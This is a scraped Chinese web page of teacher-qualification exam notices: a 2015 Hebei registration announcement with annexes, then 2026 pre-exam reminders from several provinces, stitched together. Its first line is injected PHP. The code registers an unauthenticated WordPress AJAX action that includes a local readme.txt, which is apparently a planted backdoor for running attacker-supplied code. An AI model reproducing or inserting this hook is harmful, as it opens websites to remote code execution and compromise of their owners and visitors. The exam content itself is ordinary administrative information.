if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
河北2015下半年教师资格考试(笔试)公告-全国教师资格考试网

河北2015下半年教师资格考试(笔试)公告

河北省教育考试院关于2015年下半年中小学教师资格考试笔试报名相关事项的公告
一、重要提示
(一)请考生在报考前认真阅读本公告,了解相关要求特别是报考条件后再履行报名程序。如因在笔试报名时造假或不符合报考条件原因造成面试、认定等后续环节不能完成,一切后果由考生承担。
(二)考生须本人通过教师资格考试网上报名系统进行报名,并对本人所填报的个人信息和报考信息准确性负责,如因委托培训机构或他人代理报名造成报名信息错误,责任由考生本人承担。
(三)所有考生(含以前参加过国家统考笔试的考生)报名前需要重新进行注册,重新注册操作不影响考生已获得的笔试和面试成绩。
(四)考生如忘记密码可通过报名系统提示功能重新获得密码,报名系统将把新的密码通过短信发送到考生报名时所填报的手机上。手机短信为考生重新获取密码的重要途径,在参加中小学教师资格考试期间,请考生慎重更换手机号码。
(五)所有科目均采用纸笔方式进行。
二、2015年下半年中小学教师资格考试笔试时间安排表

类别 \ 时间 11月1日(星期日)
上 午 下 午 下 午
9:00-11:00 13:00-15:00 16:00-18:00
幼 儿 园 综合素质(幼儿园) 保教知识与能力  
小    学 综合素质(小学) 教育教学知识与能力  
初级中学 综合素质(中学) 教育知识与能力 学科知识与教学能力
高级中学 学科知识与教学能力
中职文化课
中职专业课  
中职实习指导
三、报考条件
(一) 基本条件
1.具有中华人民共和国国籍。
2.遵守宪法和法律,热爱教育事业,具有良好的思想品德。
3.被撤销教师资格的,5年内不得报名参加考试;受到剥夺政治权利,或故意犯罪受到有期徒刑以上刑事处罚的,不得报名参加考试。曾参加教师资格考试有作弊行为的,按照《国家教育考试违规处理办法》的相关规定执行。
(二) 学历要求
1.申请参加幼儿园教师资格考试,师范类毕业生应具备中等幼儿教育专业毕业及其以上学历(根据省教育厅有关要求,我省具备中等学历层次幼儿教育类专业办学资质的学校共46所(附件1),不具备办学资质学校的学生不得报考),非师范类毕业生应具备专科毕业及其以上学历。
2.申请参加小学教师资格考试,应具备大学专科毕业及其以上学历。
3.申请参加初级中学、高级中学和中等职业学校教师资格考试应具备大学本科毕业及其以上学历。
4.申请参加中等职业学校实习指导教师资格考试应具备大学专科毕业及其以上学历。
(三)所在地要求
1.户籍或人事关系须在河北(二者之一在河北即可)。
2.具有办学资质的中等学历层次幼儿教育类专业院校、普通高校在校三年级以上(含三年级)学生,其学校所在地须在河北。

#p#副标题#e#

四、报名流程
(一)9月7日至13日,考生登录“教育部中小学教师资格考试网”(http://www.ntce.cn/)网上报名。考生登录后经过注册,按相关提示填写个人信息、上传本人近照、选择考试科目和考区(户籍或人事关系在河北的考生可根据本人情况在11个设区市及华北油田地区选择;具有办学资质的中等学历层次幼儿教育类专业院校、普通高校在校三年级以上(含三年级)学生须在学校所在市报考,不得跨市报考)。
  照片要求:本人近6个月以内的免冠正面彩色证件照;照片大小、格式为jpg/jpeg,不大于200K;照片中显示考生头部和肩的上部,白色背景。因照片将用于准考证以及考试合格证明,请考生上传照片时慎重选用。
(二)9月14日至16日(每天上午8:30- 12:00 ,下午14:00- 17:00 ),考生持相关材料原件到网报时所选择的考区接受现场审核并在信息确认单上签字确认(审核点名单见附件2)。所在考区有多个现场确认点的,考生可自行选择其中任意一个。考生不得跨考区确认,不得委托他人代理确认。未经现场确认的人员,当次报考无效。
  现场确认需携带的材料:
1.户籍在河北的考生
(1)考生本人户口本原件;
(2)考生本人有效身份证件原件;
(3)考生本人相关学历毕业证原件。
2.人事关系在河北的考生
(1)考生本人有效身份证件原件;
(2)由人事代理机构出具的人事关系证明原件;
(3)考生本人相关学历毕业证原件。
3.学校所在地在河北的具有办学资质的中等学历层次幼儿教育类专业院校、普通高校在校三年级以上(含三年级)学生
(1)考生本人有效身份证件原件;
(2)由学校学籍管理部门或教学管理部门出具的证明原件。
(三)9月14日至18日,考生再次登录报名系统进行网上缴费。(注:考生通过审核后即可缴费,逾期不缴费者报名无效)。
五、其他说明
(一)根据冀价行费 [2013]36号文件规定,所有科目报考费均为70元/科次。
(二)报名成功后,考生可于考试前一周(2015年10月26日至10月31日)登录“教育部中小学教师资格考试网”(www.ntce.cn)自行下载并打印准考证,按照准考证规定的时间、地点参加考试。
(三)2015年下半年笔试成绩查询开放日期为11月30日,考生可通过“教育部中小学教师资格考试网”(www.ntce.cn)查询。考生如对本人考试成绩有异议,可在考试成绩公布后10个工作日内向省教育考试院提出复核申请(以邮件方式发送至skc@hebeea.edu.cn),申请须注明申请人姓名、身份证号、准考证号、需复核科目、网上查询到的成绩、联系电话。省教育考试院在接到教育部考试中心复核结果后以邮件方式通知考生。
(四)各级教育考试机构只负责考试的组织与管理工作,不举办培训,亦不指定教材。考生可登录“教育部中小学教师资格考试网”(www.ntce.cn)下载各科目的考试大纲,根据考试大纲知识点自行购买书籍复习、备考。
(五)现场审核期间如发现信息有误,考生需自行登录报名系统进行更改,之后重新到审核点进行审核、确认等项工作。信息确认无误后,考生须在现场打印的《考生报名信息确认表》上签字确认。考生报名审核信息一经签字确认,各项信息将不能更改。
(六)笔试单科成绩有效期为2年,上一考次有未通过课程的考生报名时只选报未通过课程即可。笔试没有书面合格证明,笔试和面试均合格者由教育部考试中心颁发教师资格考试合格证明。教师资格考试合格证明有效期为3年,是考生申请认定教师资格的必备条件。
河北省教育考试院
2015年9月1日

#p#副标题#e#

附件1:具备中等学历层次幼儿教育类专业办学资质学校名单
石家庄市学前教育中等专业学校
石家庄市职业技术教育中心
石家庄市艺术职业学校
围场满族蒙古族自治县职业技术教育中心
兴隆县职业技术教育中心
承德县综合职业技术教育中心
承德幼儿师范学校
张家口市职业技术教育中心
宣化县职业技术教育中心
阳原县职业技术教育中心
宣化科技职业学院
秦皇岛市中等专业学校
秦皇岛市旅游中专学校
唐山师范学院玉田分校
唐山市职业教育中心
三河市职业技术教育中心
固安县职业中学
廊坊市职业技术教育中心
保定市女子职业中专学校
涞水县职业技术教育中心
蠡县启发职业技术教育中心
涿州市职业技术教育中心
泊头职业学院
河北省青县幼儿师范学校
沧州市职业技术教育中心
黄骅市职业技术教育中心
衡水市职业技术教育中心
衡水科技工程学校
邢台市职业技术教育中心
南宫市职业技术教育中心
河北省威县职业技术教育中心
沙河市综合职教中心
邯郸学院武安分院
邯郸学院曲周分院
邯郸学院大名分院
邯郸市职教中心
石家庄工程技术学校
河北经济管理学校
只接收下列学校2009年至2013年入学学生报名
石家庄市幼儿师范学校
河北银行学校
邢台学院初等学院
衡水学院分院
唐山师范学院滦州分校
只接收下列学校2009年至2014年入学学生报名
石家庄市栾城县职教中心
石家庄市艺术学校
唐山工业职业技术学院

#p#副标题#e#

附件2:各市报名信息审核点名单
(下列审核点只在报名期间负责审核,考生需在准考证上查询考点信息)

地市 审核地点 地址 联系电话
石家庄 石家庄市裕华区招生办(南王小学院内) 塔南路183号(乘车65、66、79建华塔南路口站下车,东行300米路北) 0311-80671506,
80671503
石家庄市长安区招生办 谈南路12号(乘车12、21、41美东国际下车沿谈南路东行200米) 0311-86662387
石家庄市新华区招生办 西焦北路18号(乘车62路合作友谊路口,9、58、314友谊公园下车) 0311-86952762
石家庄市桥西区招生办 红旗大街155号(乘车48、107、39、81、14、15到17中南区下车) 0311-89653023
河北政法职业学院 友谊北大街569号(乘113路河北政法职业学院下) 0311-87115050
河北外国语学院 石家庄桥西区红旗南大街汇丰西路29号 0311-85237030
柯棣华医学中等专业学校(柯棣华职业专修学院) 桥西区三简路16号(乘11路或61路南简良站下车即到) 0311-85519275
唐山 唐山市教育局电化教育馆 唐山市路北区兴源道234号 0315-2838372
秦皇岛 海港区教师进修学校 建树里小学院内一楼报告厅 0335-3554826
北戴河区招生考试办公室 北戴河区教育局院内 0335-5922915
青龙县招生考试办公室 青龙县教育局院内 0335-7861553
昌黎县招生考试办公室 河北科技师范学院昌黎校区1号楼 0335-2026856
抚宁县招生考试办公室 抚宁县教育局院内 0335-6016678
卢龙县招生考试办公室 卢龙县教育局院内 0335-7206605
河北科技师范学院秦皇岛校区(只审核河北科技师范学院在校生) 教务处综合科1号楼210 0335-8076362
邢台 邢台市万博教育培训学校 邢台市桥西区太行南路29号(青年科技学院院内。快乐城堡幼儿园西邻,市内乘22路,火车站乘17路,邢西市场下车向南) 0319-2337755,
2376673
邢台市星河职业中等专业学校 邢台市桥西区育才北路29号(原矿务局技工学校,市内乘6路、8路在邢台电大下车北行800米路东或者3路、20路在矿务局总医院下车南行400米路东) 0319-8766356
邯郸 邯郸市第二财经学校 滏河北大街74号(乘坐24、57路到滏春美食林下车) 0310-3113969
保定 保定职工教育专修学院(一宫) 保定市裕华东路27号 0312-5092121
保定市教师进修学校 保定市七一中路45号(行政服务中心对面十三中东校区院内) 0312-5065856
张家口 张家口市教育考试院 张家口市桥西区西坝岗路25号(张家口二中北行100米) 0313-8063322
沧州 新华区招生办公室 沧州市新华区东风路1号 0317-3012077.
沧州师范学院 沧州市运河区学院路1号 0317-2159858
承德 双桥区招生办公室 双桥区翠桥路10号 0314-2061933
双滦区招生办公室 双滦区教育局(双塔山镇建设街48号) 0314-4301323
营子区招生办公室 营子区教体局(营子大街36号) 0314-7596121
承德县招生办公室 承德县教育局(承德县下板城镇新兴路) 0314-3011493
兴隆县招生办公室 兴隆县兴隆镇东区大街(县一中院内) 13832408818
平泉县招生办公室 平泉县教体局(平泉镇西城社区城西胡同26号) 0314-6022362
滦平县招生办公室 滦平县北山新区教体局 0314-8589075
隆化县招生办公室 隆化县隆化教体局(镇苔山路) 0314-7080187
丰宁满族自治县招生办公室 丰宁县教体局(宁丰路361号) 0314-8012051
围场满族蒙古族自治县招生办公室 围场县教体局(木兰中路24号) 0314-7512528
宽城满族自治县招生办公室 宽城县教体局(北局子教育园区) 0314-6866160
河北民族师范学院(1)只负责本校大三以上在校生 承德市高教园区 0314-2370059
河北民族师范学院(2)只负责本校大三以上在校生 承德市高教园区 0314-2370059
廊坊 廊坊师范学院(只审核本校在校考生) 廊坊市爱民西道100号 0316-2197044
北华航天工业学院(只审核本校在校考生) 廊坊市爱民东道133号(北华航天学院教务处教7楼5层)      0316-2083330
防灾科技学院教务处考试中心(只审核本校在校考生) 燕郊开发区 010-61598778
华北科技学院(只审核本校在校考生) 燕郊开发区 010-61591498
燕京理工学院(只审核本校在校考生) 燕郊开发区 0316-3380139
廊坊市教育局社考办(审核其他各类考生) 廊坊市广阳道300号(第一实验中学院内) 0316-5908681
衡水 衡水市招生办公室(负责审核其他各类考生) 桃城区报社街488号 0318-2162711
衡水学院三号教学楼(负责审核在校生) 衡水市和平西路1088号 0318-5700525
华油 华北石油管理局招生办公室 任丘市渤海西路沧州市教育局石油分局一楼107房间 0317-2720302

#p#副标题#e#

附件3:省教育考试院及各市咨询电话
序号 单位 电话
1 省教育考试院 0311-66007083
2 石家庄 0311-87061129
3 唐山 0315-2838372
4 秦皇岛 0335-3880930
5 邢台 0319-2235880,
2235068
6 邯郸 0310-3113969
7 保定 0312-5078369
8 承德 0314-2130391
9 张家口 0313-8063322
10 沧州 0317-3170827
11 廊坊 0316-5908681
12 衡水 0318-2162711
13 华油 0317-2720302

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部